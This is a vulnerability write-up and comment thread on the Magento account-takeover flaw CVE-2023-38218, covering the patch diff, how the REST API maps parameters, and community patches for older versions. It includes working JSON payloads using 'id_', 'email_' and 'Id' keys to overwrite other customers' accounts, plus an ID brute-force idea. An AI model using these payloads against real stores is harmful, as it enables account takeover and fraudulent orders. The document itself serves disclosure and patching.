APSB23-50.md

APSB23-50

https://helpx.adobe.com/security/products/magento/apsb23-50.html

Privilege Escalation

The vulnerability with the highest CVSS score of 8.8 (CVE-2023-38218) states that it is an unauthenticated privilege escalation due to improper input validation.

If we look at the diff we see a number of security related changes. One of those changes is the following in Magento\Customer\Plugin\Webapi\Controller\Rest\ValidateCustomerData::validateInputData:

+++ ./vendor/magento/module-customer/Plugin/Webapi/Controller/Rest/ValidateCustomerData.php	2023-09-11 17:11:34.000000000 +0200
@@ -28,8 +28,8 @@
      */
     public function beforeOverride(ParamsOverrider $subject, array $inputData, array $parameters): array
     {
-        if (isset($inputData[self:: CUSTOMER_KEY])) {
-            $inputData[self:: CUSTOMER_KEY] = $this->validateInputData($inputData[self:: CUSTOMER_KEY]);
+        if (isset($inputData[self::CUSTOMER_KEY])) {
+            $inputData[self::CUSTOMER_KEY] = $this->validateInputData($inputData[self::CUSTOMER_KEY]);
         }
         return [$inputData, $parameters];
     }
@@ -43,9 +43,8 @@
     private function validateInputData(array $inputData): array
     {
         $result = [];
-
         $data = array_filter($inputData, function ($k) use (&$result) {
-            $key = is_string($k) ? strtolower($k) : $k;
+            $key = is_string($k) ? strtolower(str_replace('_', "", $k)) : $k;
             return !isset($result[$key]) && ($result[$key] = true);
         }, ARRAY_FILTER_USE_KEY);

This looks like the most likely candidate, particularly the removal of underscores from keys of user data.

But how does allowing underscores lead to privilege escalation?

For that, we need to take a step back and understand how Magento's REST API works.

Forced REST Parameters

All Magento installations ship with the REST API enabled by default.

Let's narrow our focus once again, and look at the endpoint that the plugin above is performing validation for.

Provided a valid customer token (which can be obtained with /V1/integration/token), the /V1/customers/me endpoint allows customers to update their account.

An example payload would be the following:

{
  "customer": {
    "id": 6,
    "email": "[email protected]",
    "firstname": "Threat",
    "lastname": "Actor"
  }
}

You might ask yourself: what is to prevent an attacker from updating the customer ID and overwriting another user's data?

This is where the Magento\Webapi\Controller\Rest\ParamsOverrider comes into play:

/**
 * Override parameter values based on webapi.xml
 *
 * @param array $inputData Incoming data from request
 * @param array $parameters Contains parameters to replace or default
 * @return array Data in same format as $inputData with appropriate parameters added or changed
 */
public function override(array $inputData, array $parameters)
{
    foreach ($parameters as $name => $paramData) {
        $arrayKeys = explode('.', $name);
        if ($paramData[Converter::KEY_FORCE] || !$this->isNestedArrayValueSet($inputData, $arrayKeys)) {
            $paramValue = $paramData[Converter::KEY_VALUE];
            if (isset($this->paramOverriders[$paramValue])) {
                $value = $this->paramOverriders[$paramValue]->getOverriddenValue();
            } else {
                $value = $paramData[Converter::KEY_VALUE];
            }
            $this->setNestedArrayValue($inputData, $arrayKeys, $value);
        }
    }
    return $inputData;
}

This method takes parameters from webapi.xml, and forces them into inputData.

In case of PUT /V1/customers/me, the following parameters are forced:

• customer.id
• customer.group_id
• customer.website_id
• customer.store_id

The values for these parameters are derived from the Bearer token performing the request.

Perfect! Now we know that users can only update customer IDs that they authenticated for... right? Not quite.

Mapping Data

Now that the right parameters are forced, how is the remaining data mapped into the data model?

We find the answer in Magento\Framework\Webapi\ServiceInputProcessor:

1. Using reflection, Magento determines which getters and setters are available on the targeted data model - in this case Magento\Customer\Api\Data\CustomerInterface.
2. The properties are converted from snake_case to camelCase.
3. If a setter exists for the property, it is called and the value is updated.

Snake to Camel Case Conversion

The following code is used to convert snake_case property names to camelCase:

$camelCaseProperty = SimpleDataObjectConverter::snakeCaseToUpperCamelCase($propertyName);

The security patch strips out underscores - let's see why.

Using the dev console in n98-magerun2 we can play around with this method:

$ n98-magerun dev:console
Magento 2.4.6 Community initialized ✔
At the prompt, type help for some help.

To exit the shell, type ^D.
Psy Shell v0.11.12 (PHP 8.1.17 — cli) by Justin Hileman
> \Magento\Framework\Api\SimpleDataObjectConverter::snakeCaseToUpperCamelCase("firstname");
= "Firstname"

> \Magento\Framework\Api\SimpleDataObjectConverter::snakeCaseToUpperCamelCase("id");
= "Id"

> \Magento\Framework\Api\SimpleDataObjectConverter::snakeCaseToUpperCamelCase("created_at");
= "CreatedAt"

> \Magento\Framework\Api\SimpleDataObjectConverter::snakeCaseToUpperCamelCase("id_");
= "Id"

This means we can pass a property called id_, which is not forced(!), and this will end up calling the setId() setter.

Building the Payload

We have demonstrated that we can perform a read with an attacker controlled customer ID, and subsequently write an arbitrary customer ID. How would a malicious request look like? We try passing a different ID:

{
  "customer": {
    "id": 6
    "id_": 5
    "email": "[email protected]",
    "firstname": "Threat",
    "lastname": "Actor"
  }
}

We receive the following response:

{
  "message": "A customer with the same email address already exists in an associated website.",
  "trace": "[snip]"
}

Since we loaded the [email protected] account, and are now trying to save it to a different ID, Magento detects the duplicate address and refuses to save it. The underscore trick can also be used on the email property:

{
  "customer": {
    "id": 6
    "id_": 5
    "email_": "[email protected]",
    "firstname": "Threat",
    "lastname": "Actor"
  }
}

Magento responds with the following, indicating that we have successfully updated data for a different account:

{
  "id": 5,
  "group_id": 1,
  "created_at": "2023-10-10 22:16:41",
  "updated_at": "2023-10-11 09:01:35",
  "created_in": "Default Store View",
  "email": "[email protected]",
  "firstname": "Threat",
  "lastname": "Actor",
  "store_id": 1,
  "website_id": 1,
  "addresses": [],
  "disable_auto_group_change": 0,
  "extension_attributes": {
    "is_subscribed": false
  }
}

Any customer data can be overwritten, including that of password_hash.

Escalation

At this point, an attacker would require two pieces of information to perform this attack:

• target customer id
• target customer email

The need for exact knowledge of the customer ID can be circumvented by trying every ID between 1 and [attacker_controlled_id - 1] until a 200 response is received. Depending on the number of customers in the database, this would take between a couple of seconds to a couple of minutes.

Further activity could include placement of fraudulent orders using the customer's stored payment methods.

Mitigation

Upgrade

Upgrade to one of the following releases:

• 2.4.6-p3
• 2.4.5-p5
• 2.4.4-p6

Composer Patch

Apply the following composer patch to your installation:

CVE-2023-38218.diff:

diff --git Plugin/Webapi/Controller/Rest/ValidateCustomerData.php Plugin/Webapi/Controller/Rest/ValidateCustomerData.php
index ad2d8ed..63551ff 100644
--- Plugin/Webapi/Controller/Rest/ValidateCustomerData.php
+++ Plugin/Webapi/Controller/Rest/ValidateCustomerData.php
@@ -28,8 +28,8 @@ class ValidateCustomerData
      */
     public function beforeOverride(ParamsOverrider $subject, array $inputData, array $parameters): array
     {
-        if (isset($inputData[self:: CUSTOMER_KEY])) {
-            $inputData[self:: CUSTOMER_KEY] = $this->validateInputData($inputData[self:: CUSTOMER_KEY]);
+        if (isset($inputData[self::CUSTOMER_KEY])) {
+            $inputData[self::CUSTOMER_KEY] = $this->validateInputData($inputData[self::CUSTOMER_KEY]);
         }
         return [$inputData, $parameters];
     }
@@ -45,7 +45,7 @@ class ValidateCustomerData
         $result = [];

         $data = array_filter($inputData, function ($k) use (&$result) {
-            $key = is_string($k) ? strtolower($k) : $k;
+            $key = is_string($k) ? strtolower(str_replace('_', "", $k)) : $k;
             return !isset($result[$key]) && ($result[$key] = true);
         }, ARRAY_FILTER_USE_KEY);

composer.json:

{
    "extra": {
        "patches": {
            "magento/module-customer": {
                "CVE-2023-38218": "path/to/CVE-2023-38218.diff"
            }
        }
    }
}

Other Measures

As far as I am aware, traditional frontend themes do not use PUT /V1/customers/me.

If you are not using this for other purposes (integrations), this endpoint can be disabled either through:

• webserver configuration
• removing/commenting from vendor/magento/module-customer/etc/webapi.xml

Disclaimer

This explanation is provided solely for research and educational purposes. There are no guarantees or liabilities associated with its use. If you have any questions or need further clarification, please don't hesitate to reach out.

@ivanaugustobd @danslo maybe the patch for older versions could just be to include the plugin which was introduced in the newer version which includes the fix here as well as the case sensitivity thing?

It would end up being a slightly bigger file but yes, definitely (the patch above pretty much adds the plugin code directly to the original class it was intended for, that way a redeployment isn't needed)

Can confirm, attack vector for 2.3 and above before the validator file exists by using caps aswell as underscores

@danslo @JeroenBoersma

{
  "customer": {
    "id": 123,
    "Id": 456,
    "email": "[email protected]",
    "firstname": "Taken",
    "lastname": "Over",
    "website_id": 1
  }
}

and

{
  "customer": {
    "id": 123,
    "id_": 456,
    "email": "[email protected]",
    "firstname": "Taken",
    "lastname": "Over",
    "website_id": 1
  }
}

Both work

@furan917 Thanks for confirming!

Here's an adaptation of @ivanaugustobd's patch with paths relative to the root in case your composer patcher expects that (we have a custom patcher)

+++ ./vendor/magento/module-webapi/Controller/Rest/ParamsOverrider.php 2023-09-11 17:11:34.000000000 +0200
@@ -17,6 +17,8 @@ use Magento\Framework\Api\SimpleDataObjectConverter;
  */
 class ParamsOverrider
 {
+    private const CUSTOMER_KEY = 'customer';
+
     /**
      * @var ParamOverriderInterface[]
      */
@@ -56,6 +58,10 @@ class ParamsOverrider
      */
     public function override(array $inputData, array $parameters)
     {
+        if (isset($inputData[self::CUSTOMER_KEY])) {
+            $inputData[self::CUSTOMER_KEY] = $this->validateInputData($inputData[self::CUSTOMER_KEY]);
+        }
+
         foreach ($parameters as $name => $paramData) {
             $arrayKeys = explode('.', $name);
             if ($paramData[Converter::KEY_FORCE] || !$this->isNestedArrayValueSet($inputData, $arrayKeys)) {
@@ -71,6 +77,26 @@ class ParamsOverrider
         return $inputData;
     }

+    /**
+     * Validates InputData
+     *
+     * @param array $inputData
+     * @return array
+     */
+    private function validateInputData(array $inputData): array
+    {
+        $result = [];
+
+        $data = array_filter($inputData, function ($k) use (&$result) {
+            $key = is_string($k) ? strtolower(str_replace('_', "", $k)) : $k;
+            return !isset($result[$key]) && ($result[$key] = true);
+        }, ARRAY_FILTER_USE_KEY);
+
+        return array_map(function ($value) {
+            return is_array($value) ? $this->validateInputData($value) : $value;
+        }, $data);
+    }
+
     /**
      * Determine if a nested array value is set.
      *

Hi @danslo ,

In the section "Escalation" you indicate that both customer id and e-mail are needed to conduct an attack. I am doubting if this is the case. As far as I could see you are free to use any e-mailaddress that is not in use already. E.g. [email protected] or something similar. The only limitation that we found so far is that if the customer has an active quote an error message is thrown "Invalid State Change" as it tries to change the e-mailaddress of that quote.

Hi @danslo ,

In the section "Escalation" you indicate that both customer id and e-mail are needed to conduct an attack. I am doubting if this is the case. As far as I could see you are free to use any e-mailaddress that is not in use already. E.g. [email protected] or something similar. The only limitation that we found so far is that if the customer has an active quote an error message is thrown "Invalid State Change" as it tries to change the e-mailaddress of that quote.

I had a bit of text that covered this in a previous revision of this document, but eventually decided to not include it, because some reasons:

• As you accurately pointed out, there's an additional check by the quote module to see if it allowed to update the quote's customer ID.
• In my testing, a quote is already created even just by logging in. I am unsure how likely it is to be absent in a real world scenario.
• The victim's email address is overwritten.

However, it is technically correct that the email address is not a hard requirement.
Perhaps we will see a type of brute-force attack trying to change any customer's email+password possible?

Thanks for pointing that out!

@elzekool

To expand on the above - I also tried to use a random email address after order placement (so the quote is disabled), but then we run into Magento\Sales\Model\ResourceModel\Order\Plugin::afterLoad user ID verification.

So I suspect the feasibility for this type of attack will be limited, but who knows :)

2.3.0 - 2.4.3 patch

⚠️ DISCLAIMER: I didn't test in all minor versions, so please keep us posted in this thread

CVE-2023-38218.diff

diff --git a/Controller/Rest/ParamsOverrider.php b/Controller/Rest/ParamsOverrider.php
index be11ee5..14e4ebf 100644
--- a/Controller/Rest/ParamsOverrider.php
+++ b/Controller/Rest/ParamsOverrider.php
@@ -17,6 +17,8 @@ use Magento\Framework\Api\SimpleDataObjectConverter;
  */
 class ParamsOverrider
 {
+    private const CUSTOMER_KEY = 'customer';
+
     /**
      * @var ParamOverriderInterface[]
      */
@@ -56,6 +58,10 @@ class ParamsOverrider
      */
     public function override(array $inputData, array $parameters)
     {
+        if (isset($inputData[self::CUSTOMER_KEY])) {
+            $inputData[self::CUSTOMER_KEY] = $this->validateInputData($inputData[self::CUSTOMER_KEY]);
+        }
+
         foreach ($parameters as $name => $paramData) {
             $arrayKeys = explode('.', $name);
             if ($paramData[Converter::KEY_FORCE] || !$this->isNestedArrayValueSet($inputData, $arrayKeys)) {
@@ -71,6 +77,26 @@ class ParamsOverrider
         return $inputData;
     }

+    /**
+     * Validates InputData
+     *
+     * @param array $inputData
+     * @return array
+     */
+    private function validateInputData(array $inputData): array
+    {
+        $result = [];
+
+        $data = array_filter($inputData, function ($k) use (&$result) {
+            $key = is_string($k) ? strtolower(str_replace('_', "", $k)) : $k;
+            return !isset($result[$key]) && ($result[$key] = true);
+        }, ARRAY_FILTER_USE_KEY);
+
+        return array_map(function ($value) {
+            return is_array($value) ? $this->validateInputData($value) : $value;
+        }, $data);
+    }
+
     /**
      * Determine if a nested array value is set.
      *

composer.json:

{
    "extra": {
        "patches": {
            "magento/module-webapi": {
                "CVE-2023-38218": "path/to/CVE-2023-38218.diff"
            }
        }
    }
}

⚠️ please note that it should be applied to the magento/module-webapi package instead of magento/module-customer

or you can use this composer module for quick patch up for versions between 2.3.0 and 2.4.3

Composer module is here covering this Security patch APSB23-50 for Magento versions b/w 2.3.0 and 2.4.3

https://github.com/srinivas-gokarla/magento2-APSB23-50-patch

composer install srinivas/module-apsb23-50-patch

NOTE: Make sure your version is between 2.3.0 and 2.4.3

It looks like the vulnerable code that got patched was introduced in Magento 2.4.4-p2 and 2.4.5-p1, so that probably (🤞) means this vulnerability doesn't exist on older versions of Magento? Can somebody maybe confirm this? Thanks!

I was able to successfully perform an attack in Magento 2.4.4, so it is vulnerable.

2.3.0 - 2.4.3 patch

⚠️ DISCLAIMER: I didn't test in all minor versions, so please keep us posted in this thread

CVE-2023-38218.diff

diff --git a/Controller/Rest/ParamsOverrider.php b/Controller/Rest/ParamsOverrider.php
index be11ee5..14e4ebf 100644
--- a/Controller/Rest/ParamsOverrider.php
+++ b/Controller/Rest/ParamsOverrider.php
@@ -17,6 +17,8 @@ use Magento\Framework\Api\SimpleDataObjectConverter;
  */
 class ParamsOverrider
 {
+    private const CUSTOMER_KEY = 'customer';
+
     /**
      * @var ParamOverriderInterface[]
      */
@@ -56,6 +58,10 @@ class ParamsOverrider
      */
     public function override(array $inputData, array $parameters)
     {
+        if (isset($inputData[self::CUSTOMER_KEY])) {
+            $inputData[self::CUSTOMER_KEY] = $this->validateInputData($inputData[self::CUSTOMER_KEY]);
+        }
+
         foreach ($parameters as $name => $paramData) {
             $arrayKeys = explode('.', $name);
             if ($paramData[Converter::KEY_FORCE] || !$this->isNestedArrayValueSet($inputData, $arrayKeys)) {
@@ -71,6 +77,26 @@ class ParamsOverrider
         return $inputData;
     }

+    /**
+     * Validates InputData
+     *
+     * @param array $inputData
+     * @return array
+     */
+    private function validateInputData(array $inputData): array
+    {
+        $result = [];
+
+        $data = array_filter($inputData, function ($k) use (&$result) {
+            $key = is_string($k) ? strtolower(str_replace('_', "", $k)) : $k;
+            return !isset($result[$key]) && ($result[$key] = true);
+        }, ARRAY_FILTER_USE_KEY);
+
+        return array_map(function ($value) {
+            return is_array($value) ? $this->validateInputData($value) : $value;
+        }, $data);
+    }
+
     /**
      * Determine if a nested array value is set.
      *

composer.json:

{
    "extra": {
        "patches": {
            "magento/module-webapi": {
                "CVE-2023-38218": "path/to/CVE-2023-38218.diff"
            }
        }
    }
}

I can confirm that this patch works for 2.4.4 too.

Just want to confirm I'm not being stupid here. The following makes no difference correct? Just a code formatting change yes?

-        if (isset($inputData[self:: CUSTOMER_KEY])) {
-            $inputData[self:: CUSTOMER_KEY] = $this->validateInputData($inputData[self:: CUSTOMER_KEY]);
+        if (isset($inputData[self::CUSTOMER_KEY])) {
+            $inputData[self::CUSTOMER_KEY] = $this->validateInputData($inputData[self::CUSTOMER_KEY]);

Just want to confirm I'm not being stupid here. The following makes no difference correct? Just a code formatting change yes?

-        if (isset($inputData[self:: CUSTOMER_KEY])) {
-            $inputData[self:: CUSTOMER_KEY] = $this->validateInputData($inputData[self:: CUSTOMER_KEY]);
+        if (isset($inputData[self::CUSTOMER_KEY])) {
+            $inputData[self::CUSTOMER_KEY] = $this->validateInputData($inputData[self::CUSTOMER_KEY]);

Correct. I kept it in because it is in the official diff.

Do we need to patch vendor/magento/module-webapi/Controller/Rest/ParamsOverrider.php and vendor/magento/module-customer/Plugin/Webapi/Controller/Rest/ValidateCustomerData.php on Magento v2.4.3 or v2.4.4?

Because:
magento/magento2@7b76b65

and

magento/magento2@6cc0d28#diff-e56486e6be4cd7d522bbde7c027735d24a295734cab58d113761a16c69f7eb32

@tim-breitenstein-it Patching vendor/magento/module-webapi/Controller/Rest/ParamsOverrider.php is only necessary for Magento versions that do not have the Plugin vendor/magento/module-customer/Plugin/Webapi/Controller/Rest/ValidateCustomerData.php already.

If your Magento-version has the plugin, use the original plugin-patch by @danslo. If there is no plugin, use the patch provided by @ivanaugustobd.

Going to put some of my findings here, if anyone interested. I am in Adobe Commerce ver. 2.4.6-p2 version.

In my testing, when a User has previous orders (tested with orders created as logged in users), system does not allow to save the customer.

{
  "customer": {
    "id": 392319,
    "id_": 392320,
    "email_": "[email protected]",
    "firstname": "Threat",
    "lastname": "Actor"
  }
}

In above payload, if user #392320 had placed some orders in the past then system breaks while saving the customer as it goes through this plugin \Magento\Sales\Model\ResourceModel\Order\Plugin\Authorization::isAllowed and that will fail.

However, if user has not created the order then it will update.